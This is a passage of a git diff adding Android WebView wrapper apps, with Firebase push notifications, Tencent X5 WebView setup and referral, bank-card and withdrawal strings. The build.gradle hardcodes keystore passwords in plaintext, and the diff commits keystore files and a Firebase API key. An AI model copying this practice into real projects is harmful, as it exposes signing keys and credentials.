Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/rebate99/src/main/java/com/web/rebate99/WebApplication.java b/rebate99/src/main/java/com/web/rebate99/WebApplication.java new file mode 100644 index 0000000..6cfacad --- /dev/null +++ b/rebate99/src/main/java/com/web/rebate99/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.rebate99; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/rebate99/src/main/res/drawable-anydpi/ic_action_back.xml b/rebate99/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/rebate99/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/rebate99/src/main/res/drawable-hdpi/ic_action_back.png b/rebate99/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/rebate99/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/rebate99/src/main/res/drawable-mdpi/ic_action_back.png b/rebate99/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/rebate99/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/rebate99/src/main/res/drawable-v24/ic_launcher_foreground.xml b/rebate99/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/rebate99/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/drawable-xhdpi/ic_action_back.png b/rebate99/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/rebate99/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/rebate99/src/main/res/drawable-xxhdpi/ic_action_back.png b/rebate99/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/rebate99/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/rebate99/src/main/res/drawable/big_bg.xml b/rebate99/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..a2dee71 --- /dev/null +++ b/rebate99/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/drawable/ic_launcher_background.xml b/rebate99/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/rebate99/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/rebate99/src/main/res/drawable/input_bg.xml b/rebate99/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/rebate99/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/rebate99/src/main/res/drawable/pass_word_bg.xml b/rebate99/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/rebate99/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/rebate99/src/main/res/drawable/pass_word_bg1.xml b/rebate99/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/rebate99/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/drawable/pass_word_bg2.xml b/rebate99/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/rebate99/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/drawable/shape_btn_bg.xml b/rebate99/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/rebate99/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/drawable/shape_dialog_bg2.xml b/rebate99/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/rebate99/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/drawable/shape_dialog_bg3.xml b/rebate99/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/rebate99/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/drawable/shape_dialog_bg_new.xml b/rebate99/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/rebate99/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/rebate99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/rebate99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/rebate99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/rebate99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/mipmap-hdpi/ic_empty.png b/rebate99/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/rebate99/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/rebate99/src/main/res/mipmap-hdpi/ic_pull_down.png b/rebate99/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/rebate99/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/rebate99/src/main/res/mipmap-xhdpi/ic_close.png b/rebate99/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/rebate99/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/rebate99/src/main/res/mipmap-xhdpi/ic_menu.png b/rebate99/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/rebate99/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/rebate99/src/main/res/mipmap-xxhdpi/app_logo.jpg b/rebate99/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..e2da6b7 Binary files /dev/null and b/rebate99/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/rebate99/src/main/res/values-en/strings.xml b/rebate99/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/rebate99/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/rebate99/src/main/res/values-night/themes.xml b/rebate99/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/rebate99/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/values/colors.xml b/rebate99/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/rebate99/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/rebate99/src/main/res/values/strings.xml b/rebate99/src/main/res/values/strings.xml new file mode 100644 index 0000000..88dab79 --- /dev/null +++ b/rebate99/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Rebate99 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/values/themes.xml b/rebate99/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/rebate99/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/xml/app_updater_paths.xml b/rebate99/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/rebate99/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/xml/network_security_config.xml b/rebate99/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/rebate99/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/rebate99/src/main/res/xml/provider_paths.xml b/rebate99/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/rebate99/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/rebate99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/rebate99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/rebate99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/rmcuci/.gitignore b/rmcuci/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/rmcuci/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/rmcuci/build.gradle b/rmcuci/build.gradle new file mode 100644 index 0000000..5bc7494 --- /dev/null +++ b/rmcuci/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.rmcuci" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "rmcuci" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/rmcuci/google-services.json b/rmcuci/google-services.json new file mode 100644 index 0000000..7e4fc97 --- /dev/null +++ b/rmcuci/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1026238474436", + "project_id": "rmcuci", + "storage_bucket": "rmcuci.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1026238474436:android:d29c7a1dd5aeafca924191", + "android_client_info": { + "package_name": "com.xyz.rmcuci" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyC2CS46ZbaH5_0-YWYIb6-hAZvbDiqT950" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/rmcuci/justlet.jks b/rmcuci/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/rmcuci/justlet.jks differ diff --git a/rmcuci/ppn.jks b/rmcuci/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/rmcuci/ppn.jks differ diff --git a/rmcuci/proguard-rules.pro b/rmcuci/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/rmcuci/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/rmcuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/rmcuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/rmcuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/rmcuci/src/main/AndroidManifest.xml b/rmcuci/src/main/AndroidManifest.xml new file mode 100644 index 0000000..ca5bfae --- /dev/null +++ b/rmcuci/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/java/com/xyz/rmcuci/MainActivity.java b/rmcuci/src/main/java/com/xyz/rmcuci/MainActivity.java new file mode 100644 index 0000000..57fb0ed --- /dev/null +++ b/rmcuci/src/main/java/com/xyz/rmcuci/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.rmcuci; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 227; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://rmcuci.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#191919"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#191919"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/rmcuci/src/main/java/com/xyz/rmcuci/MyFirebaseMessageingService.java b/rmcuci/src/main/java/com/xyz/rmcuci/MyFirebaseMessageingService.java new file mode 100644 index 0000000..abc1bf1 --- /dev/null +++ b/rmcuci/src/main/java/com/xyz/rmcuci/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.rmcuci; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/rmcuci/src/main/java/com/xyz/rmcuci/WebApplication.java b/rmcuci/src/main/java/com/xyz/rmcuci/WebApplication.java new file mode 100644 index 0000000..88a9aee --- /dev/null +++ b/rmcuci/src/main/java/com/xyz/rmcuci/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.rmcuci; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/rmcuci/src/main/res/drawable-anydpi/ic_action_back.xml b/rmcuci/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/rmcuci/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git 